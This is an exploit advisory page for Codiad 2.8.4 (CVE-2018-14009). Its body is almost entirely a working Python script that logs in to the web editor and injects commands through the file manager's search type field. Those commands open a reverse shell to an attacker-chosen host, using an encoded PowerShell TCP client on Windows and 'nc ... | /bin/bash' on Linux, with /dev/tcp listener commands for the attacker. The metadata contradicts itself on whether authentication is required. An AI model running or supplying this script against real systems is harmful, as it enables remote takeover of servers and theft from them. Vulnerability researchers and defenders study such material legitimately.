Codiad 2.8.4 Remote Code Execution (Authenticated)

2021.03.24
Credit: WangYihang
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) # Discovery by: WangYihang # Vendor Homepage: http://codiad.com/ # Software Links : https://github.com/Codiad/Codiad/releases # Tested Version: Version: 2.8.4 # CVE: CVE-2018-14009 ​ #!/usr/bin/env python # encoding: utf-8 ​ import requests import sys import json ​ session = requests.Session() ​ ​ def login(domain, username, password): global session url = domain + "/components/user/controller.php?action=authenticate" data = { "username": username, "password": password, "theme": "default", "language": "en" } response = session.post(url, data=data, verify=False) content = response.text print("[+] Login Content : %s" % (content)) if 'status":"success"' in content: return True ​ ​ def get_write_able_path(domain): global session url = domain + "/components/project/controller.php?action=get_current" response = session.get(url, verify=False) content = response.text print("[+] Path Content : %s" % (content)) json_obj = json.loads(content) if json_obj['status'] == "success": return json_obj['data']['path'] else: return False ​ ​ def base64_encode_2_bytes(host, port): payload = ''' $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__); $stream = $client.GetStream(); [byte[]]$bytes = 0..255|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close(); ''' result = "" for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)): result += i + "\x00" return result.encode("base64").replace("\n", "") ​ ​ def build_powershell_payload(host, port): preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc " return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b") ​ ​ def exploit(domain, username, password, host, port, path, platform): global session url = domain + \ "components/filemanager/controller.php?type=1&action=search&path=%s" % ( path) if platform.lower().startswith("win"): # new version escapeshellarg # escapeshellarg on windows will quote the arg with "" # so we need to try twice payload = '||%s||' % (build_powershell_payload(host, port)) payload = "search_string=Hacker&search_file_type=" + payload headers = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} response = session.post(url, data=payload, headers=headers, verify=False) content = response.text print(content) ​ # old version escapeshellarg payload = '%%22||%s||' % (build_powershell_payload(host, port)) payload = "search_string=Hacker&search_file_type=" + payload headers = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} response = session.post(url, data=payload, headers=headers, verify=False) content = response.text print(content) else: # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ''' payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port) payload = "search_string=Hacker&search_file_type=" + payload headers = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} response = session.post(url, data=payload, headers=headers, verify=False) content = response.text print(content) ​ ​ def promote_yes(hint): print(hint) while True: ans = input("[Y/n] ").lower() if ans == 'n': return False elif ans == 'y': return True else: print("Incorrect input") ​ ​ def main(): if len(sys.argv) != 7: print("Usage : ") print(" python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])) print(" python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])) print("Example : ") print(" python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0])) print(" python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0])) print("Author : ") print(" WangYihang <wangyihanger@gmail.com>") exit(1) domain = sys.argv[1] username = sys.argv[2] password = sys.argv[3] host = sys.argv[4] port = int(sys.argv[5]) platform = sys.argv[6] if platform.lower().startswith("win"): print("[+] Please execute the following command on your vps: ") print("nc -lnvp %d" % (port)) if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"): exit(1) else: print("[+] Please execute the following command on your vps: ") print("echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port)) print("nc -lnvp %d" % (port + 1)) if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"): exit(1) print("[+] Starting...") if not login(domain, username, password): print("[-] Login failed! Please check your username and password.") exit(2) print("[+] Login success!") print("[+] Getting writeable path...") path = get_write_able_path(domain) if path == False: print("[+] Get current path error!") exit(3) print("[+] Writeable Path : %s" % (path)) print("[+] Sending payload...") exploit(domain, username, password, host, port, path, platform) print("[+] Exploit finished!") print("[+] Enjoy your reverse shell!") ​ ​ if __name__ == "__main__": main()


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